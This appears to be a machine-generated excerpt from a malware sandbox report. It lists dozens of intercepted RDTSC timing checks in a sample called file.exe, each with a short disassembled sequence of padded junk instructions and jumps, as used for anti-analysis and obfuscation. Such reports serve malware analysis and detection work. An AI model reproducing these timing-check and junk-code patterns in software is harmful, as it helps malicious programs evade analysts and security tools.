Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 741DDD second address: 741DF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F892C71B572h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 741DF7 second address: 741DFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 741DFB second address: 741DFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 742595 second address: 7425A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F892C6C116Dh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 748C4E second address: 748C54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 748C54 second address: 748C60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 748C60 second address: 748C6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 748636 second address: 74863A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74863A second address: 74865F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c jmp 00007F892C71B579h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7487F4 second address: 7487FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7487FF second address: 748803 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 748803 second address: 748822 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F892C6C1173h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 748822 second address: 748826 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 748826 second address: 748847 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F892C6C1178h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 748847 second address: 74884D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75FE6F second address: 75FE77 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75FE77 second address: 75FE8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F892C71B570h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75FE8D second address: 75FE91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75FE91 second address: 75FE95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 768FA8 second address: 768FAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 768FAD second address: 768FC7 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F892C71B56Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jo 00007F892C71B566h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 768FC7 second address: 768FED instructions: 0x00000000 rdtsc 0x00000002 jo 00007F892C6C1166h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F892C6C1178h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 768FED second address: 768FF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 768FF1 second address: 768FFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F892C6C1166h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 772837 second address: 772841 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F892C71B566h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 771240 second address: 77124E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F892C6C1166h 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 771423 second address: 77142B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77142B second address: 771433 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 771787 second address: 7717A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F892C71B575h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7717A0 second address: 7717AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jne 00007F892C6C1166h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7717AF second address: 7717B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77256C second address: 772592 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F892C6C1166h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F892C6C1175h 0x00000012 push esi 0x00000013 pop esi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 776E6C second address: 776E70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 776E70 second address: 776E94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007F892C6C1168h 0x0000000c jns 00007F892C6C116Eh 0x00000012 jnp 00007F892C6C1172h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 776BB7 second address: 776BBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77A230 second address: 77A236 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77A236 second address: 77A23A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 791A0A second address: 791A0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 793EB5 second address: 793EBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 793EBD second address: 793EC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 793EC2 second address: 793F16 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F892C71B56Ch 0x00000008 jc 00007F892C71B566h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 jmp 00007F892C71B571h 0x00000017 pop eax 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b push edx 0x0000001c push edi 0x0000001d push esi 0x0000001e pop esi 0x0000001f pop edi 0x00000020 pushad 0x00000021 jmp 00007F892C71B577h 0x00000026 jnl 00007F892C71B566h 0x0000002c pushad 0x0000002d popad 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 793F16 second address: 793F2A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 je 00007F892C6C1166h 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jl 00007F892C6C1166h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79597D second address: 79599A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F892C71B571h 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79599A second address: 79599E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79599E second address: 7959A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7959A9 second address: 7959E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jg 00007F892C6C1166h 0x0000000c jmp 00007F892C6C1178h 0x00000011 popad 0x00000012 pushad 0x00000013 jmp 00007F892C6C1173h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AB2CA second address: 7AB2D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F892C71B566h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AAC16 second address: 7AAC1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ACB06 second address: 7ACB0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ACB0C second address: 7ACB16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F892C6C1166h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AC9AB second address: 7AC9B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F892C71B582h 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AE063 second address: 7AE075 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F892C6C116Ah 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AE075 second address: 7AE07A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AE07A second address: 7AE09E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 je 00007F892C6C1166h 0x0000000c jmp 00007F892C6C1173h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AE09E second address: 7AE0A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AE0A4 second address: 7AE0A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B08AA second address: 7B08AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B08AF second address: 7B08B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B0977 second address: 7B097B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B097B second address: 7B0981 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B0981 second address: 7B099B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jg 00007F892C71B566h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F892C71B56Ah 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B0B4F second address: 7B0B75 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F892C6C116Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007F892C6C1173h 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B0C37 second address: 7B0C50 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F892C71B575h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B0C50 second address: 7B0C5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F892C6C116Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B2101 second address: 7B2105 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B5706 second address: 7B570A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF036E second address: 4DF0372 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0372 second address: 4DF0378 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0378 second address: 4DF037E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF037E second address: 4DF0382 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0382 second address: 4DF03BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b push esi 0x0000000c mov eax, edx 0x0000000e pop ebx 0x0000000f movzx ecx, dx 0x00000012 popad 0x00000013 pop ebp 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F892C71B56Ch 0x0000001d sub cx, 4348h 0x00000022 jmp 00007F892C71B56Bh 0x00000027 popfd 0x00000028 pushad 0x00000029 popad 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF03BA second address: 4DF03C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF03C0 second address: 4DF03C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF03FE second address: 4DF0499 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F892C6C1179h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov ax, 4B13h 0x0000000f call 00007F892C6C1178h 0x00000014 jmp 00007F892C6C1172h 0x00000019 pop ecx 0x0000001a popad 0x0000001b push eax 0x0000001c pushad 0x0000001d jmp 00007F892C6C116Eh 0x00000022 mov ecx, 4E2074D1h 0x00000027 popad 0x00000028 xchg eax, ebp 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c pushad 0x0000002d popad 0x0000002e pushfd 0x0000002f jmp 00007F892C6C116Fh 0x00000034 sub cx, 23BEh 0x00000039 jmp 00007F892C6C1179h 0x0000003e popfd 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CDF84 second address: 6CDF89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CE13E second address: 6CE143 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF052E second address: 4DF0532 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0532 second address: 4DF054F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F892C6C1179h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF054F second address: 4DF057D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F892C71B571h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F892C71B56Eh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 movzx ecx, dx 0x00000016 push edi 0x00000017 pop eax 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF057D second address: 4DF05AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F892C6C1172h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F892C6C1170h 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF05AC second address: 4DF05B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF05B0 second address: 4DF05CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F892C6C1179h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF05CD second address: 4DF05DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F892C71B56Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF05DD second address: 4DF05E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0773 second address: 4DF078F instructions: 0x00000000 rdtsc 0x00000002 movsx edx, ax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 mov al, byte ptr [edx] 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F892C71B56Eh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF078F second address: 4DF0793 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0793 second address: 4DF0799 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0799 second address: 4DF07C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F892C6C116Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 inc edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F892C6C1177h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF07C5 second address: 4DF07F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F892C71B579h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test al, al 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F892C71B56Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF07F3 second address: 4DF07FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, 1412h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF07FC second address: 4DF078F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jne 00007F892C71B4D8h 0x0000000d mov al, byte ptr [edx] 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F892C71B56Eh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0848 second address: 4DF084C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF084C second address: 4DF0852 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0852 second address: 4DF0866 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, eax 0x00000005 mov esi, 315D42F7h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d dec edi 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0866 second address: 4DF0875 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F892C71B56Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0875 second address: 4DF087B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF087B second address: 4DF087F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF087F second address: 4DF0883 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0883 second address: 4DF08D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea ebx, dword ptr [edi+01h] 0x0000000b jmp 00007F892C71B577h 0x00000010 mov al, byte ptr [edi+01h] 0x00000013 jmp 00007F892C71B576h 0x00000018 inc edi 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F892C71B577h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF08D8 second address: 4DF08F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F892C6C1174h 0x00000009 rdtsc
